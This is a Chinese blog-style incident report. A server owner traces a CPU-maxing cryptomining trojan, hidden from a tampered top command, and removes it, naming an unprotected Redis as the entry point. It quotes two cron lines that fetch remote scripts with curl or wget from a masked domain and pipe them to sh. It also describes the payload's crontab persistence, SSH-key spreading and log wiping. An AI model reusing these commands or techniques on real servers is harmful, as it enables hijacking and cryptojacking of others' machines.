一个周六的下午,收到阿里云的服务器邮件预警,被告知服务器的CPU负载已经到达了极限。
服务器上面运行的程序并不多,仅仅一个简单的博客系统,用Java开发的简单博客,博客访问量并不大,平时的平均CPU负载也只是20%左右,没理由一个小小的博客会把服务器的CPU打满。
博客也打不开了,很显然,100%的CPU负载,博客打不开是意料中的事。
第一次遇到此类问题,并不知道问题所在,结合百度开始排查:
显示一切正常,没有异常未知进程,也没有异常CPU占用。回到阿里云后台查看CPU负载,依然还是100%,并不正常。
很显然,top命令已经被伪装了。
二、执行busybox top
命令,揪出幕后真凶
busybox并不是系统自带的命令,需要自行安装。top命令已经被非法用户被篡改过的时候,我们可以通过在前面加上busybox,查看那些被隐藏掉的进程。
果然发现了异常,有几个不认识的进程,占用了100%的服务器负载。
二话不说,一律kill掉所有不认识的进程。
服务器负载瞬间下来,过不了5秒,又瞬间拉满,所有被kill掉的进程,再次全部出现在列表中。
在守护程序都被干掉的情况下,还能全部重启回来,很显然,程序设置了自动重启。
三、查找定时器列表,找到异常的定时器设置
在所有的定时器记录中,找到了这么一条记录(域名已作隐藏处理):
*/30 * * * * (curl -fsSL https://xxxxxx.com/raw/yPRSa0ki|||wget -q -O- https://xxxxxx.com/raw/TS4NeUnd)|sh
定时器每隔30秒就会从指定网址下载一个脚本文件并且执行,先备份一下命令用作后续研究,然后删掉这个定时器。
回到第二步,kill掉所有可疑进程。
四、依然卷土从来,负载再次拉满
清掉定时器,kill掉所有进程,依然过不了几秒,木马再度卷土重来,所有木马进程又启动起来,查看定时器,可疑定时器配置依然存在。
不得不再问百度,挖矿进程、守护进程、定时器,一度怀疑是服务器再度被提权。
静下心来研究了一下他们在定时器下载下来的文件,下载下来的是一串字符,并不是直接的命令文本,试着用Base64解码,成了。
木马文件内容解读
1、命令第二行:
echo "*/10 * * * * (curl -fsSL https://xxxxxx.com/raw/TS4NeUnd||wget -q -O- https://xxxxxx.com/raw/TS4NeUnd)|sh" | crontab -
命令每运行一次,会往定时器文件里面写入定时器配置,被清掉的定时器配置,不用多久就被其他进程恢复回来了,所以一直都清不干净。
2、然后,kill掉一堆进程(主要是竞争对手的进程,大概数十条kill命令,同时也会kill掉一些可能会对他们有妨碍的系统进程)
3、根据你的系统下载各种不同的挖矿脚本、守护进程脚本并授权执行,下载链接大多以jpg为后缀命名,躲避排查。
4、遍历你的known_hosts文件,并尝试用id_rsa.pub中的公钥一一去访问,爆破并感染你其他的服务器。
5、擦掉所有操作日志。
问题的解决:
1、在hosts文件中,将定时器中下载脚本的域名指向127.0.0.1,切断定时器与外界的联系,并清掉定时器内容。
2、kill掉所有可疑进程。
3、根据脚本文件,删掉所有木马文件。
4、重新生成id_rsa.pub中的内容。
5、Redis设置访问密码,并重启。(这是这次服务器被提权的根本问题)